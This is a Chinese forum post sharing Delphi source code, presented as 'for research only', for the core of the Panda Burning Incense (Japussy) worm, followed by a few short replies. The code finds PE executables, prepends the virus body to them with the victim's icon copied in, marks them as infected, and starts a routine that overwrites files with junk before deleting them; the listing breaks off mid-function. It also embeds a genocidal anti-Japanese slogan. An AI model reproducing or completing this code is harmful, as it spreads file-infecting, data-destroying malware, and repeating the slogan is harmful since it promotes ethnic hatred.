返回列表 回复 发帖

[技巧] 熊猫烧香的核心代码(仅供研究)

program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432;             //病毒体的大小
iconoffset = $12eb8;           //pe文件主图标的偏移量

//在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
   
{
headersize = 38912;             //upx压缩过病毒体的大小
iconoffset = $92bc;             //upx压缩过pe文件主图标的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize   = $2e8;             //pe文件主图标的大小--744字节
icontail   = iconoffset + iconsize; //pe文件主图标的尾部
id       = $44444444;         //感染标记

//垃圾码,以备写入
catchword = 'if a race need to be killed out, it must be yamato. ' +
        'if a country need to be destroyed, it must be japan! ' +
        '*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;  
stdcall; external 'kernel32.dll'; //函数声明
var
tmpfile: string;
si:     startupinfo;
pi:     process_information;
isjap:   boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
  exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
  result := true;
end;
{ 在流之间复制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 将宿主文件从已感染的pe文件中分离出来,以备使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
  sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
  try
    dstream := tfilestream.create(filename, fmcreate);
    try
    sstream.seek(headersize, 0); /过头部的病毒部分
    dstream.copyfrom(sstream, sstream.size - headersize);
    finally
    dstream.free;
    end;
  finally
    sstream.free;
  end;
except
end;
end;
{ 填充startupinfo结构 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 发带毒邮件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出错则文件正在被使用,退出
  if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染
    exit;
  infected := false;
  ispe   := false;
  srcstream := tfilestream.create(filename, fmopenread);
  try
    for i := 0 to $108 do //检查pe文件头
    begin
    srcstream.seek(i, sofrombeginning);
    srcstream.read(buf, 2);
    if (buf[0] = #80) and (buf[1] = #69) then //pe标记
    begin
      ispe := true; //是pe文件
      break;
    end;
    end;
    srcstream.seek(-4, sofromend); //检查感染标记
    srcstream.read(iid, 4);
    if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
    infected := true;
  finally
    srcstream.free;
  end;
  if infected or (not ispe) then //如果感染过了或不是pe文件则退出
    exit;
  icostream := tmemorystream.create;
  dststream := tmemorystream.create;
  try
    aicon := ticon.create;
    try
    //得到被感染文件的主图标(744字节),存入流
    aicon.releasehandle;
    aicon.handle := extracticon(hinstance, pchar(filename), 0);
    aicon.savetostream(icostream);
    finally
    aicon.free;
    end;
    srcstream := tfilestream.create(filename, fmopenread);
    //头文件
    hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
    try
    //写入病毒体主图标之前的数据
    copystream(hdrstream, 0, dststream, 0, iconoffset);
    //写入目前程序的主图标
    copystream(icostream, 22, dststream, iconoffset, iconsize);
    //写入病毒体主图标到病毒体尾部之间的数据
    copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
    //写入宿主程序
    copystream(srcstream, 0, dststream, headersize, srcstream.size);
    //写入已感染的标记
    dststream.seek(0, 2);
    iid := $44444444;
    dststream.write(iid, 4);
    finally
    hdrstream.free;
    end;
  finally
    srcstream.free;
    icostream.free;
    dststream.savetofile(filename); //替换宿主文件
    dststream.free;
  end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
  setfileattributes(pchar(filename), 0); //去掉只读属性
  filehandle := fileopen(filename, fmopenwrite); //打开文件
  try
    size := getfilesiz
不敢去研究了  怕

[MagicFace=215]
zxb8980为您提示◆
注意身体灬不要沉迷于网络!
您的支持是论坛的源动力!
你牛比
返回列表